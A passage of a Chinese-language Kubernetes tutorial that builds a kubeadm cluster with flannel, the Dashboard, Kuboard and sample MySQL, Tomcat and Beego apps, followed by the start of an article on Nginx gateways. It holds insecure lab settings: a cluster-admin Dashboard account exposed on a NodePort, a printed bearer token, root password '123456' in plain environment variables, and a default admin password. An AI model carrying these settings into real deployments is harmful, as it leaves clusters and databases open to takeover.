10.96.0.0/12分别是K8s内部pods和services的子网网络,最好使用这个地址,后续flannel网络需要用到. 拉取K8s必备的模块镜像 查看一下都需要哪些镜像文件需要拉取 123456789sudo kubeadm config images list --config ./kubeadm.conf# registry.cn-beijing.aliyuncs.com/imcto/kube-apiserver:v1.21.0# registry.cn-beijing.aliyuncs.com/imcto/kube-controller-manager:v1.21.0# registry.cn-beijing.aliyuncs.com/imcto/kube-scheduler:v1.21.0# registry.cn-beijing.aliyuncs.com/imcto/kube-proxy:v1.21.0# registry.cn-beijing.aliyuncs.com/imcto/pause:3.4.1# registry.cn-beijing.aliyuncs.com/imcto/etcd:3.4.13-0# registry.cn-beijing.aliyuncs.com/imcto/coredns/coredns:v1.8.0 拉取镜像 1234567891011# 下载全部当前版本的K8s所关联的镜像sudo kubeadm config images pull --config ./kubeadm.conf# 对images重命名 这里要注意重命名的版本号有的是带v的,有的是不带的 注意看清楚sudo docker tag registry.aliyuncs.com/google_containers/kube-apiserver:v1.21.0 registry.K8s.io/kube-apiserver:v1.21.0sudo docker tag registry.aliyuncs.com/google_containers/kube-controller-manager:v1.21.0 registry.K8s.io/kube-controller-manager:v1.21.0sudo docker tag registry.aliyuncs.com/google_containers/kube-scheduler:v1.21.0 registry.K8s.io/kube-scheduler:v1.21.0sudo docker tag registry.aliyuncs.com/google_containers/kube-proxy:v1.21.0 registry.K8s.io/kube-proxy:v1.21.0sudo docker tag registry.aliyuncs.com/google_containers/pause:3.4.1 registry.K8s.io/pause:3.4.1sudo docker tag registry.aliyuncs.com/google_containers/etcd:3.4.13-0 registry.K8s.io/etcd:3.4.13-0 sudo docker tag registry.aliyuncs.com/google_containers/coredns:v1.8.0 registry.K8s.io/coredns/coredns:v1.8.0 初始化kubernetes环境12# 初始化并且启动sudo kubeadm init --config ./kubeadm.conf 更多kubeadm配置文件参数详见 1sudo kubeadm config print-defaults K8s启动成功输出内容较多,但是记住末尾的内容 12345678910111213141516171819202122Your Kubernetes control-plane has initialized successfully!To start using your cluster, you need to run the following as a regular user: mkdir -p $HOME/.kube sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config sudo chown $(id -u):$(id -g) $HOME/.kube/configAlternatively, if you are the root user, you can run: export KUBECONFIG=/etc/kubernetes/admin.confYou should now deploy a pod network to the cluster.Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at: https://kubernetes.io/docs/concepts/cluster-administration/addons/Then you can join any number of worker nodes by running the following on each as root:kubeadm join 192.168.64.120:6443 --token abcdef.0123456789abcdef \\ --discovery-token-ca-cert-hash sha256:dc94fc0dc028e01532b82fe99ec94ad2841a6c9a8873d496714fbc3f4147fc66 按照官方提示,执行以下操作. 执行如下命令 123mkdir -p $HOME/.kubesudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/configsudo chown $(id -u):$(id -g) $HOME/.kube/config 创建系统服务并启动 1234# 启动kubelet 设置为开机自启动sudo systemctl enable kubelet# 启动K8s服务程序sudo systemctl start kubelet 验证kubernetes启动结果 验证输入,注意显示master状态是NotReady,证明初始化服务器成功 123kubectl get nodes# NAME STATUS ROLES AGE VERSION# node NotReady control-plane,master 86s v1.21.8 注释相关信息 12345678sudo vim /etc/kubernetes/manifests/kube-controller-manager.yaml # 注释掉第26行 #- --port=0 sudo vim /etc/kubernetes/manifests/kube-scheduler.yaml# 注释到第19行 #- --port=0# 重启kubeletsudo systemctl restart kubelet.service 查看当前K8s集群状态 123kubectl get nodes# NAME STATUS ROLES AGE VERSION# node NotReady control-plane,master 14m v1.21.8 目前只有一个master,还没有node,而且是NotReady状态,那么我们需要将node加入到master管理的集群中来 部署集群内部通信flannel网络12cd $HOME/workingwget https://github.com/flannel-io/flannel/releases/latest/download/kube-flannel.yml 编辑这个文件,确保flannel网络是对的,找到sudo vim kube-flannel.yml标记的内容是否正确. 123456net-conf.json: | { "Network": "10.244.0.0/16", "Backend": { "Type": "vxlan" } 这个\"10.244.0.0/16\"和./kubeadm.conf中的podsubnet的地址要一致. 应用当前flannel配置文件 1sudo kubectl apply -f kube-flannel.yml 输出结果如下 123456namespace/kube-flannel createdserviceaccount/flannel createdclusterrole.rbac.authorization.K8s.io/flannel configuredclusterrolebinding.rbac.authorization.K8s.io/flannel configuredconfigmap/kube-flannel-cfg createddaemonset.apps/kube-flannel-ds created 安装flannel网络后 执行kubectl get nodes输出结果如下 123kubectl get nodes# NAME STATUS ROLES AGE VERSION# node Ready control-plane,master 52m v1.21.8 此时master已经是Ready状态了,表示已经配置成功了,那么我们就需要配置node来加入这个集群. 配置Node配置K8s集群的Node主机环境 启动K8s后台服务 12# 启动kubelet 设置为开机自启动sudo systemctl enable kubelet 将master机器的/etc/kubernetes/admin.conf传到到node1和node2 登录master终端 1234# 将admin.conf传递给node1sudo scp /etc/kubernetes/admin.conf killer@192.168.64.121:/home/killer/# 将admin.conf传递给node2sudo scp /etc/kubernetes/admin.conf killer@192.168.64.122:/home/killer/ 登录node1终端,创建基础kube配置文件环境 123mkdir -p $HOME/.kubesudo cp -i $HOME/admin.conf $HOME/.kube/configsudo chown $(id -u):$(id -g) $HOME/.kube/config 登录node2终端,创建基础kube配置文件环境 123mkdir -p $HOME/.kubesudo cp -i $HOME/admin.conf $HOME/.kube/configsudo chown $(id -u):$(id -g) $HOME/.kube/config node1和node2分别连接master加入master集群.这里用的是kubeadm join指令 1234567891011121314151617sudo kubeadm join 192.168.64.120:6443 --token abcdef.0123456789abcdef --discovery-token-ca-cert-hash sha256:dc94fc0dc028e01532b82fe99ec94ad2841a6c9a8873d496714fbc3f4147fc66# [preflight] Running pre-flight checks# [WARNING IsDockerSystemdCheck]: detected "cgroupfs" as the Docker cgroup driver. The recommended driver is "systemd". Please follow the guide at https://kubernetes.io/docs/setup/cri/# [preflight] Reading configuration from the cluster...# [preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -o yaml'# [kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"# [kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"# [kubelet-start] Starting the kubelet# [kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...# This node has joined the cluster:# * Certificate signing request was sent to apiserver and a response was received.# * The Kubelet was informed of the new secure connection details.# Run 'kubectl get nodes' on the control-plane to see this node join the cluster. ​ 这里要注意,使用的hash应该是master主机 kubeadm init成功之后生成的hash码. 应用两个node主机分别应用flannel网络 将master中的kube-flannel.yml分别传递给两个node节点. 1234#将kube-flannel.yml传递给node1sudo scp $HOME/working/kube-flannel.yml killer@192.168.64.121:/home/killer/#将kube-flannel.yml传递给node2sudo scp $HOME/working/kube-flannel.yml killer@192.168.64.122:/home/killer/ 分别启动flannel网络 1killer@node1:~$ kubectl apply -f kube-flannel.yml 1killer@node2:~$ kubectl apply -f kube-flannel.yml 查看node是否已经加入到K8s集群中(需要等一段时间才能ready) 12345killer@master:~$ kubectl get nodes# NAME STATUS ROLES AGE VERSION# node Ready control-plane,master 87m v1.21.8# node1 Ready <none> 3m52s v1.21.8# node2 Ready <none> 2m46s v1.21.8 K8s 图形化管理界面 只需在Master机器上装就可以了 Dashboard 下载yaml,并运行Dashboard 12345678910111213141516171819# 下载yamlwget https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yamlvim recommended.yaml# 修改kubernetes-dashboard的Service类型kind: ServiceapiVersion: v1metadata: labels: k8s-app: kubernetes-dashboard name: kubernetes-dashboard namespace: kubernetes-dashboardspec: type: NodePort # 新增 ports: - port: 443 targetPort: 8443 nodePort: 30009 # 新增 selector: k8s-app: kubernetes-dashboard 部署并查看 123456789# 部署kubectl apply -f recommended.yaml# 查看是否启动成功kubectl get pods -n kubernetes-dashboard# NAME READY STATUS RESTARTS AGE# dashboard-metrics-scraper-5594697f48-7r297 1/1 Running 0 4m42s# kubernetes-dashboard-57c9bfc8c8-gvwf5 1/1 Running 0 4m42s 创建账户并授权 12345678910111213 # 创建账号 kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard # 授权 kubectl create clusterrolebinding dashboard-admin-rb --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin4. 获取账户token ```bash kubectl -n kubernetes-dashboard describe secret $(kubectl -n kubernetes-dashboard get secret | grep dashboard-admin | awk '{print $1}') # token: eyJhbGciOiJSUzI1NiIsImtpZCI6IjJtWEhoU3kwZjZzM2FkdUIwaDFwbE16Xy1YUWZGckVYOVdTdWFEWFdfMkUifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZC10b2tlbi1sbnd6OSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJrdWJlcm5ldGVzLWRhc2hib2FyZCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6ImIzZTg0NGNiLWNmMWEtNGQxZC1hN2JmLTY5YzkzMzgwYWU5NCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlcm5ldGVzLWRhc2hib2FyZDprdWJlcm5ldGVzLWRhc2hib2FyZCJ9.K78S-Q0HriBPGa4pQXQQXntLzJwj8qKbBnpOFbpIn6FkZ0TN5lt7rpJ8l1dwFdM2ijvlIvRVc6Kn65RBZml2gOugE2KkUTep6mxyxxz89vzc6WoOfv2f65fd14NWx9pDx8nuNpchOH1PCRbsgiQv36Pwo-HumDVFL30q5RKt8iylt8AacFGLmgdMJbZlZ6q6FR7gcX7QdqmvlNySgyPhVtHrxZMlahbbzarl2Dulq6bREBhAuoWI_4okFMlk0fDKS6GoM582DoGQPUnQbPsyupvy9EBozKS7D5fFoPzN5fZOMYzAc9fCbKRjPq5w9IDpKYsBzdpYaL9qSO5IUPe7yg 通过浏览器访问Dashboard的UI并在登录页面上输入上面的token 12# 注意是https协议,Chrome访问不了,可以用火狐https://192.168.64.120:30009/ 等你们完成了应用实例,上图中的pods就会出现 Kuboard123456789101112131415# Master上执行sudo docker run -d \\ --restart=unless-stopped \\ --name=kuboard \\ -p 80:80/tcp \\ -p 10081:10081/udp \\ -p 10081:10081/tcp \\ -e KUBOARD_ENDPOINT="http://192.168.64.120:80" \\ -e KUBOARD_AGENT_SERVER_UDP_PORT="10081" \\ -e KUBOARD_AGENT_SERVER_TCP_PORT="10081" \\ -v /root/kuboard-data:/data \\ eipwork/kuboard:v3.5.2.4# KUBOARD_ENDPOINT="http://192.168.64.120:8091" :http://ip:prot,根据自己主机修改# 浏览器输入 http://192.168.64.120:8091,可见打开了 UI 界面. 初始用户密码,admin Kuboard123 点击添加集群,输入名称信息,按照图中选择,点击确认 复制粘贴下载 yaml 文件命令,在 master执行,即可完成导入等待一会!!! 六、应用实例工作目录:/home/killer/working 创建MySQL实例定义描述文件1234567891011121314151617181920212223sudo tee mysql-rc.yaml <<-'EOF'apiVersion: v1kind: ReplicationController #副本控制器RCmetadata: name: mysql #RC的名称,全局唯一spec: replicas: 3 #Pod副本的期待数量 selector: app: mysql #符合目标的Pod拥有此标签 template: #根据此模板创建Pod的副本(实例) metadata: labels: app: mysql #Pod副本拥有的标签,对应RC的Selector spec: containers: #Pod内容器的定义部分 - name: mysql #容器的名称 image: hub.c.163.com/library/mysql #容器对应的Docker image ports: - containerPort: 3306 #容器应用监听的端口号 env: #注入容器内的环境变量 - name: MYSQL_ROOT_PASSWORD value: "123456"EOF 加载ReplicationController副本控制器描述文件创建好mysql-rc.yaml后,在master节点使用kubectl命令将它发布到K8s集群中. 1234# 创建kubectl create -f mysql-rc.yaml# 移除kubectl delete -f mysql-rc.yaml 查看启动状态通过查看当前的pods列表,是否已经启动成功 1kubectl get pods --all-namespaces 创建Tomcat实例定义描述文件12345678910111213141516171819202122232425sudo tee myweb-rc.yaml <<-'EOF'apiVersion: v1kind: ReplicationControllermetadata: name: mywebspec: replicas: 5 selector: app: myweb template: metadata: labels: app: myweb spec: containers: - name: myweb image: docker.io/kubeguide/tomcat-app:v1 ports: - containerPort: 8080 env: - name: MYSQL_SERVICE_HOST value: "mysql" - name: MYSQL_SERVICE_PORT value: "3306"EOF 1234567891011121314151617181920212223apiVersion: v1 # 使用的 Kubernetes API 版本为 v1kind: ReplicationController # 定义一个 ReplicationController 对象metadata: name: myweb # ReplicationController 的名称为 "myweb"spec: replicas: 5 # Pod 副本期望数量为 5 selector: app: myweb # 标签选择器,选择匹配标签 app=myweb 的 Pod 进行管理 template: metadata: labels: app: myweb # Pod 模板的标签为 app=myweb spec: containers: # 定义容器配置 - name: myweb # 容器名称为 "myweb" image: docker.io/kubeguide/tomcat-app:v1 # 容器使用的镜像为 docker.io/kubeguide/tomcat-app:v1 ports: - containerPort: 8080 # 容器监听的端口号为 8080 env: # 容器的环境变量配置 - name: MYSQL_SERVICE_HOST # 环境变量 MYSQL_SERVICE_HOST 的名称 value: "mysql" # 环境变量 MYSQL_SERVICE_HOST 的值为 "mysql" - name: MYSQL_SERVICE_PORT # 环境变量 MYSQL_SERVICE_PORT 的名称 value: "3306" # 环境变量 MYSQL_SERVICE_PORT 的值为 "3306" 加载RC副本描述文件1234567891011121314151617kubectl create -f myweb-rc.yaml# replicationcontroller/myweb createdkubectl get rc# NAME DESIRED CURRENT READY AGE# mysql 3 3 3 40s# myweb 5 5 0 5skubectl get pods# NAME READY STATUS RESTARTS AGE# mysql-mvx5c 1/1 Running 0 13h# myweb-2c756 1/1 Running 0 72s# myweb-8757q 1/1 Running 0 72s# myweb-g4dpr 1/1 Running 0 72s# myweb-mfcdk 1/1 Running 0 72s# myweb-xr4vq 1/1 Running 0 72s 注意mysql实例 状态 Running myweb实例状态 ContainerCreating 过几分钟myweb实例状态变成 Running 创建服务副本在master服务器 12345678910111213sudo tee myweb-svc.yaml <<-'EOF'apiVersion: v1kind: Servicemetadata: name: mywebspec: type: NodePort ports: - port: 8080 nodePort: 30001 selector: app: myweb EOF 1234567891011- apiVersion: v1 # 指定使用的 Kubernetes API 版本.- kind: Service # 定义了一个 Service 对象.- metadata: # Service 元数据,包括名称等信息. - name: myweb # Service 的名称为 "myweb".- spec: # Service 的规格说明. - type: NodePort # 指定 Service 的类型为 NodePort,表示使用节点的 IP 地址和端口访问 Service. - ports:# 定义 Service 的端口配置. - port: 8080 # Service 的端口号为 8080. - nodePort: 30001 # 将该 Service 的端口映射到节点的端口 30001 上. - selector # 用于标识 Service 要路由到哪些 Pod 上的标签选择器. - app: myweb # 指定匹配标签 `app=myweb` 的 Pod. 部署服务1kubectl create -f myweb-svc.yaml 验证12345678910kubectl get pods# NAME READY STATUS RESTARTS AGE# mysql-gxmhx 1/1 Running 0 9m50s# mysql-sncqg 1/1 Running 0 9m50s# mysql-xqwbt 1/1 Running 0 9m50s# myweb-2c756 1/1 Running 0 3m26s# myweb-8757q 1/1 Running 0 3m26s# myweb-g4dpr 1/1 Running 0 3m26s# myweb-mfcdk 1/1 Running 0 3m26s# myweb-xr4vq 1/1 Running 0 3m26s 1234kubectl get service # NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE# kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 15h# myweb NodePort 10.105.73.151 <none> 8080:30001/TCP 58s 已经看到已经有一个myweb服务已经启动 12345678910111213141516171819kubectl describe service myweb# Name: myweb# Namespace: default# Labels: <none># Annotations: <none># Selector: app=myweb# Type: NodePort# IP Family Policy: SingleStack# IP Families: IPv4# IP: 10.105.73.151# IPs: 10.105.73.151# Port: <unset> 8080/TCP# TargetPort: 8080/TCP# NodePort: <unset> 30001/TCP# Endpoints: 10.244.104.1:8080,10.244.104.2:8080,10.244.104.3:8080 + 2 more...# Session Affinity: None# External Traffic Policy: Cluster# Events: <none> 1234567891011121314151617Name: myweb # Service 的名称为 "myweb"Namespace: default # Service 所在的命名空间为 "default"Labels: <none> # Service 没有标签Annotations: <none> # Service 没有注释Selector: app=myweb # 匹配标签 app=myweb 的 Pod 作为后端服务Type: NodePort # Service 的类型为 NodePortIP Family Policy: SingleStack # IP 地址族策略为单栈模式IP Families: IPv4 # 使用 IPv4 地址族IP: 10.105.73.151 # Service 的 IP 地址为 10.105.73.151IPs: 10.105.73.151 # Service 的 IP 地址列表为 10.105.73.151Port: <unset> 8080/TCP # Service 监听的端口为 8080/TCPTargetPort: 8080/TCP # Service 转发流量到后端 Pod 的端口为 8080/TCPNodePort: <unset> 30001/TCP # 映射到节点的端口为 30001/TCPEndpoints: 10.244.104.1:8080,10.244.104.2:8080,10.244.104.3:8080 + 2 more... # Service 后端的实际 Pod 终端点的 IP 地址和端口信息Session Affinity: None # 会话亲和性设置为无External Traffic Policy: Cluster # 外部流量策略为集群模式Events: <none> # 相关事件信息(无) 验证端口号 12sudo netstat -tlp|grep 30001# tcp 0 0 0.0.0.0:30001 0.0.0.0:* LISTEN 94185/kube-proxy 我们可以打开浏览器,输入master/node1/node2任何一个地址+30001端口都可以,访问tomcat服务. 123http://192.168.64.120:30001http://192.168.64.121:30001http://192.168.64.122:30001 创建自定义的Beego 应用Web程序集群初始化Mysql 找到我们之前创建好的Mysql的pod的NAME 12345678910kubectl get pods# NAME READY STATUS RESTARTS AGE# mysql-gxmhx 1/1 Running 0 9m50s# mysql-sncqg 1/1 Running 0 9m50s# mysql-xqwbt 1/1 Running 0 9m50s# myweb-2c756 1/1 Running 0 12m# myweb-8757q 1/1 Running 0 12m# myweb-g4dpr 1/1 Running 0 12m# myweb-mfcdk 1/1 Running 0 12m# myweb-xr4vq 1/1 Running 0 12m 查看当前pod的详细信息 1kubectl describe pod mysql-mvx5c 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152Name: mysql-mvx5c # Pod 的名称为 "mysql-mvx5c"Namespace: default # Pod 所在的命名空间为 "default"Priority: 0 # Pod 的优先级为 0Node: node1/192.168.64.121 # Pod 分配到的节点为 "node1",节点的 IP 地址为 "192.168.64.121"Start Time: Thu, 13 Jul 2023 19:26:56 +0800 # Pod 启动的时间为 "2023年7月13日19:26:56"Labels: app=mysql # Pod 的标签为 "app=mysql"Annotations: cni.projectcalico.org/podIP: 10.244.166.129/32 # Pod 的注释信息,表示分配给 Pod 的 IP 地址 cni.projectcalico.org/podIPs: 10.244.166.129/32 # Pod 的注释信息,表示分配给 Pod 的 IP 地址Status: Running # Pod 的状态为运行中IP: 10.244.166.129 # Pod 的 IP 地址为 10.244.166.129IPs: IP: 10.244.166.129 # Pod 的 IP 地址为 10.244.166.129Controlled By: ReplicationController/mysql # 控制该 Pod 的 ReplicationController 的名称为 "mysql"Containers: mysql: Container ID: docker://9a9d27ad8b79ebb51439d315425a24da2994527783bb355bfaa2446d4d100099 # 容器的 ID Image: hub.c.163.com/library/mysql # 容器使用的镜像为 "hub.c.163.com/library/mysql" Image ID: docker-pullable://hub.c.163.com/library/mysql@sha256:b2bce1a792237ac5df78877d583f34b09ab023a77130921a6bcce67ce2d24ff0 # 镜像的 ID Port: 3306/TCP # 容器监听的端口为 3306/TCP Host Port: 0/TCP # 宿主机映射的端口为 0/TCP(随机端口) State: Running # 容器的状态为运行中 Started: Thu, 13 Jul 2023 19:27:28 +0800 # 容器启动的时间为 "2023年7月13日19:27:28" Ready: True # 容器是否就绪为 True Restart Count: 0 # 容器重启的次数为 0 Environment: MYSQL_ROOT_PASSWORD: 123456 # 容器环境变量 MYSQL_ROOT_PASSWORD 的值为 "123456" Mounts: /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-qt6gb (ro) # 挂载到容器的目录"/var/run/secrets/kubernetes.io/serviceaccount",来源为名为 "kube-api-access-qt6gb" 的卷Conditions: Type Status Initialized True # Pod 初始化状态为 True Ready True # Pod 就绪状态为 True ContainersReady True # 所有容器就绪状态为 True PodScheduled True # Pod 被成功调度到节点上Volumes: kube-api-access-qt6gb: Type: Projected (a volume that contains injected data from multiple sources) # 卷的类型为 Projected,用于存储从多个来源注入的数据 TokenExpirationSeconds: 3607 # 令牌过期时间为 3607 秒 ConfigMapName: kube-root-ca.crt # 关联的 ConfigMap 的名称为 "kube-root-ca.crt" ConfigMapOptional: <nil> # ConfigMap 可选关联为 nil DownwardAPI: true # 向容器提供自身的相关信息(如标签、注解等)QoS Class: BestEffort # Pod 的 QoS 类型为 BestEffortNode-Selectors: <none> # 没有指定节点选择器Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s # 对于节点的 "not-ready" 状态,允许 Pod 在 300 秒内不可执行操作 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s # 对于节点的 "unreachable" 状态,允许 Pod 在 300 秒内不可执行操作Events: <none> # 相关事件信息(无) 得到Mysql在Subnet内网的IP地址10.244.166.129 和登录密码 1234IP: 10.244.166.129 ... Environment: MYSQL_ROOT_PASSWORD: 123456 登录Mysql实例,创建数据库 1kubectl exec -it mysql-mvx5c -- bash 123456789101112root@mysql-mvx5c:/# mysql -u root --password=123456 --default-character-set=utf8# 创建数据库,注意大小写CREATE DATABASE IF NOT EXISTS newsWeb default charset utf8 COLLATE utf8_general_ci;# 使用数据库use newsWeb# 退出数据库及dockerexitexit 下载自定义的Beego-Docker 镜像123sudo docker pull registry.cn-shanghai.aliyuncs.com/itcast-golang/beego-microservices:v4# 查看docker镜像是否已经下载成功sudo docker images 创建Beego的RC副本文件1234567891011121314151617181920212223242526272829303132333435363738394041424344sudo tee golang-beego.yaml <<-'EOF'apiVersion: v1 # 使用的 Kubernetes API 版本为 v1kind: ReplicationController # 资源类型为 ReplicationControllermetadata: name: beego # ReplicationController 的名称为 "beego"spec: replicas: 5 # Pod 的副本数为 5 selector: app: beego # 根据标签选择器 "app=beego" 来管理 Pod template: metadata: labels: app: beego # Pod 的标签为 "app=beego" spec: containers: - name: beego # 容器的名称为 "beego" image: registry.cn-shanghai.aliyuncs.com/itcast-golang/beego-microservices:v4 # 容器使用的镜像为 "registry.cn-shanghai.aliyuncs.com/itcast-golang/beego-microservices:v4" ports: - containerPort: 8080 # 容器监听的端口为 8080 env: - name: MYSQL_SERVICE_HOST # 容器环境变量 MYSQL_SERVICE_HOST 的值为 "10.244.1.8" value: "10.244.166.129" - name: MYSQL_SERVICE_PORT # 容器环境变量 MYSQL_SERVICE_PORT 的值为 "3306" value: "3306" - name: MYSQL_SERVICE_USER # 容器环境变量 MYSQL_SERVICE_USER 的值为 "root" value: "root" - name: MYSQL_SERVICE_PASSWORD # 容器环境变量 MYSQL_SERVICE_PASSWORD 的值为 "123456" value: "123456" - name: MYSQL_SERVICE_DATABASE # 容器环境变量 MYSQL_SERVICE_DATABASE 的值为 "newsWeb" value: "newsWeb"---apiVersion: v1 # 使用的 Kubernetes API 版本为 v1kind: Service # 资源类型为 Servicemetadata: name: beego # Service 的名称为 "beego"spec: type: NodePort # Service 类型为 NodePort ports: - port: 8080 # Service 监听的端口为 8080 nodePort: 30080 # 通过节点的 30080 端口访问 Service selector: app: beego # 根据标签选择器 "app=beego" 来匹配关联的 PodEOF 这里要注意,里面的Mysql环境变量IP、端口、数据库用户名密码等,都是我们上面实例获取到的. 这里实际上是在我们创建一个pods容器的时候,指定的一些环境变量.然后Beego的应用程序会从系统中这些环境变量去取数据. 目前建立了NodePort端口映射,BeegoWeb应用在内网的端口是8080,对外的映射端口是30080.那么30080就是我们外网可以访问的端口号. 装载RC副本文件,创建Beego集群实例1kubectl apply -f golang-beego.yaml 查看Beego的web程序pods是否已经正常启动 1234567891011121314151617kubectl get pods# NAME READY STATUS RESTARTS AGE# beego-9rczj 1/1 Running 0 10s# beego-bckx9 1/1 Running 0 10s# beego-crgsz 1/1 Running 0 10s# beego-m6v94 1/1 Running 0 10s# beego-q2c6m 1/1 Running 0 10s# mysql-gxmhx 1/1 Running 0 9m50s# mysql-sncqg 1/1 Running 0 9m50s# mysql-xqwbt 1/1 Running 0 9m50s# myweb-2c756 1/1 Running 0 33m# myweb-8757q 1/1 Running 0 33m# myweb-g4dpr 1/1 Running 0 33m# myweb-mfcdk 1/1 Running 0 33m# myweb-xr4vq 1/1 Running 0 33m 也可以查看Beego程序的pods的正常输出日志 12345678910111213kubectl logs beego-9rczj create table `article_users` -- -------------------------------------------------- -- Table Structure for `code2/newsWeb/models.ArticleUsers` -- -------------------------------------------------- CREATE TABLE IF NOT EXISTS `article_users` ( `id` bigint AUTO_INCREMENT NOT NULL PRIMARY KEY, `article_id` integer NOT NULL, `user_id` integer NOT NULL ) ENGINE=InnoDB;2023/07/14 01:53:12.584 [I] [asm_amd64.s:1337] http server Running on http://:8080 进入其中一个Beego容器,查看环境变量是否和我们配置的一致 12345678910111213141516171819202122232425262728293031323334353637kubectl exec -it beego-9rczj -- shenv# KUBERNETES_PORT=tcp://10.96.0.1:443# KUBERNETES_SERVICE_PORT=443# BEEGO_PORT_8080_TCP=tcp://10.105.211.185:8080# HOSTNAME=beego-9rczj# MYWEB_PORT_8080_TCP_ADDR=10.105.73.151# MYWEB_SERVICE_HOST=10.105.73.151# SHLVL=1# HOME=/root# MYWEB_PORT_8080_TCP_PORT=8080# MYWEB_PORT_8080_TCP_PROTO=tcp# MYWEB_PORT=tcp://10.105.73.151:8080# MYWEB_SERVICE_PORT=8080# MYWEB_PORT_8080_TCP=tcp://10.105.73.151:8080# TERM=xterm# KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1# MYSQL_SERVICE_PASSWORD=123456# PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin# KUBERNETES_PORT_443_TCP_PORT=443# MYSQL_SERVICE_HOST=10.244.166.129# KUBERNETES_PORT_443_TCP_PROTO=tcp# MYSQL_SERVICE_USER=root# BEEGO_SERVICE_HOST=10.105.211.185# BEEGO_PORT_8080_TCP_ADDR=10.105.211.185# MYSQL_SERVICE_PORT=3306# KUBERNETES_SERVICE_PORT_HTTPS=443# KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443# BEEGO_PORT_8080_TCP_PORT=8080# KUBERNETES_SERVICE_HOST=10.96.0.1# BEEGO_PORT_8080_TCP_PROTO=tcp# PWD=/app# MYSQL_SERVICE_DATABASE=newsWeb# BEEGO_PORT=tcp://10.105.211.185:8080# BEEGO_SERVICE_PORT=8080 验证集群是否成功 注册界面:http://192.168.64.121:30080/register 自己注册,后面才能登录 登陆界面:http://192.168.64.121:30080/login 后端界面 课后任务:使用K8s跑一个个人博客或者论坛 七、K8s架构图","tags":[null,null,null,null],"categories":[null,null,null,null]},{"title":"一.漫谈Nginx网关","path":"/wiki/API-Gateway/一. 漫谈Nginx网关.html","content":"总字符数: 4.18K 代码: 无, 文本: 2.05K 预计阅读时间: 9 分钟 什么是网关 在传统TCP/IP术语中,网络设备只分成两种,一种为网关(gateway),另一种为主机(host).网关能在网络间转递数据包,但主机不能转送数据包.在主机(又称终端系统,end system)中,数据包需经过TCP/IP四层协议处理,但是在网关(又称中介系统,intermediate system)只需要到达网际层,决定路径之后就可以转送.在当时,网关(gateway)与路由器(router)还没有区别. 在现代网络术语中,网关(gateway)与路由器(router)的定义不同.网关(gateway)能在不同协议间移动资料,而路由器(router)是在不同网络间移动资料,相当于传统所说的IP网关(IP gateway). 网关顾名思义就是连接两个网络的设备,对于语音网关来说,他可以连接PSTN和以太网,这就相当于VOIP,把不同电话中的模拟信号通过网关而转换成数字信号,而且加入协议再去传输.在到了接收端的时候再通过网关还原成模拟的电话信号,最后才能在电话机上听到. 对于以太网中的网关只能转发三层以上数据包,这一点和路由是一样的.而不同的是网关中并没有路由表,他只能按照预先设定的不同网段来进行转发.网关最重要的一点就是端口映射,子网内用户在外网看来只是外网的IP地址对应着不同的端口,这样看来就会保护子网内的用户. 单节点场景 多节点场景 网关作用 统一入口 安全:黑名单、权限身份认证 限流:实现微服务访问流量计算,基于流量计算分析进行限流,可以定义多种限流规则 缓存:数据缓存 日志:日志记录 监控:记录请求响应数据,api耗时分析,性能监控 重试:异常重试 熔断:降级 现有框架 Tyk: Tyk是一个开放源码的API网关,它是快速、可扩展和现代的.Tyk提供了一个API管理平台,其中包括API网关、API分析、开发人员门户和API管理面板.Trk是一个基于Go实现的网关服务. Kong: Kong是一个可扩展的开放源码API Layer(也称为API网关或API中间件).Kong在任何RESTful API的前面运行,通过插件扩展,它提供了超越核心平台的额外功能和服务. Orange:和Kong类似也是基于OpenResty的一个API网关程序,是由国人开发的. Netflix zuul:Zuul是一种提供动态路由、监视、弹性、安全性等功能的边缘服务.Zuul是Netflix出品的一个基于JVM路由和服务端的负载均衡器. apiaxle: Nodejs实现的一个API 网关. api-umbrella: Ruby 实现的一个API网关. 技术选型 正向代理 代理(英语:Proxy),也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接.一些网关、路由器等网络设备具备网络代理功能.一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击. 反向代理 反向代理在电脑网络中是代理服务器的一种.服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在[1]. 